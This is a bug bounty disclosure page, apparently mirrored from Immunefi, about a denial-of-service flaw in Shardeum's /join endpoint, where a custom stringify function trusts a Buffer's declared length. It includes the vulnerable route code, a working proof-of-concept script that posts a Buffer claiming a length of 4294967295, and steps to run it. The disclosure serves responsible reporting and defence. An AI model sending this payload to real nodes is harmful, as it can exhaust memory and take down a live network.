Skip to content
DoS Audit finding Intermediate

Inducing large memory allocation via /join endpoint

The /join endpoint stringifies and re-parses the request body using a custom stringify function that trusts a Buffer's declared length without validating the content. An attacker could send a crafted body to cause multi-gigabyte memory allocation and crash the node, potentially shutting down the network.

ZhouWu Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#39811 [BC-Critical] inducing large memory allocation via join endpoint

#39811 [BC-Critical] Inducing large memory allocation via /join endpoint

Submitted on Feb 7th 2025 at 21:48:26 UTC by @ZhouWu for Audit Comp | Shardeum: Core III

Description

Description

In core code there's a http POST endpoint called '/join'. The endpoint handler for some reason will try to stringify the http body and parse it again. The problem lies within these custom stringify function. The buggy stringify function will try to stringify a buffer object with the supplied length without actually checking if the content are actually valid. This lead to extremely large memory allocation of node and eventually crashing.

This is the affected area of code in src/p2p/Join/routes.ts

JavaScript
const joinRoute: P2P.P2PTypes.Route<Handler> = {
  method: 'POST',
  name: 'join',
  // eslint-disable-next-line @typescript-eslint/ban-ts-comment
  // @ts-ignore
  handler: async (req, res) => {
  

  try {
      const joinRequest: JoinRequest = Utils.safeJsonParse(Utils.safeStringify(req.body))

      // Validate the joinReq against the ajv schema
      const errors = verifyPayload(AJVSchemaEnum.JoinReq, joinRequest);
      if (errors) {
        res.status(400).json({
          success: false,
          fatal: true,
          reason: 'Validation error: ' + errors.join('; ')
        });
        return
      }

.... // more code 

Proof of Concept

Proof of Concept

  1. Launch a local network to act as legitimate network.
  2. create a folder to save our exploit script mkdir exploit and cd exploit
  3. Create a file called exploit.js with the following content:
JavaScript
const axios = require('axios');

const ip = process.argv[2];
const port = process.argv[3];
const url = `http://${ip}:${port}/join`;

const payload = {
    joinRequest: {
        type: "Buffer", 
        data: { length: 4294967295 }
    }
}

axios.post(url, payload)
  1. Save the following content in package.json
JSON
{
  "name": "stringify",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "dependencies": {
    "@shardus/types": "^1.2.21",
    "axios": "^1.7.9"
  }
}
  1. Wait for node to come online.
  2. Run the following command to install the dependencies npm install
  3. Run the following command to execute the exploit node exploit.js <ip> <port>. Example node exploit.js 0.0.0.0 9008
  4. Check the memory of the node via shardus cli or task manager it'll have multi gigabytes of memory.

Impact

Large memory allocation in node process eventually leading to node crash. Can be used to perform a denial of service attack to the whole network. Total Network shutdown.

The original report as published on Immunefi, by ZhouWu. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the custom stringify function allocates memory based on an attacker-controlled Buffer length field without validating that the buffer content matches that length.

Impact

Large memory allocation in the node process could eventually crash the node and be used to perform a denial of service attack on the whole network, causing a total network shutdown.

What the attacker needed

Network access to the /join endpoint

How it was found

  1. Launch a local network to act as a legitimate network.
  2. Create a folder for the exploit script and enter it.
  3. Create an exploit script that sends a POST request to the /join endpoint with a crafted body.
  4. Install the script's dependencies.
  5. Wait for the node to come online.
  6. Run the exploit script against the node's IP and port, then check the node's memory usage.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A server endpoint accepts data from anyone and tries to convert it to text and back. The conversion code believes a number in the data that says how long a buffer is, without checking if that much data actually exists. By claiming a huge length, an attacker makes the server reserve a huge amount of memory, which can crash it.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by ZhouWu

View all

14 more disclosed reports, best first.

More from Shardeum: Core III

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.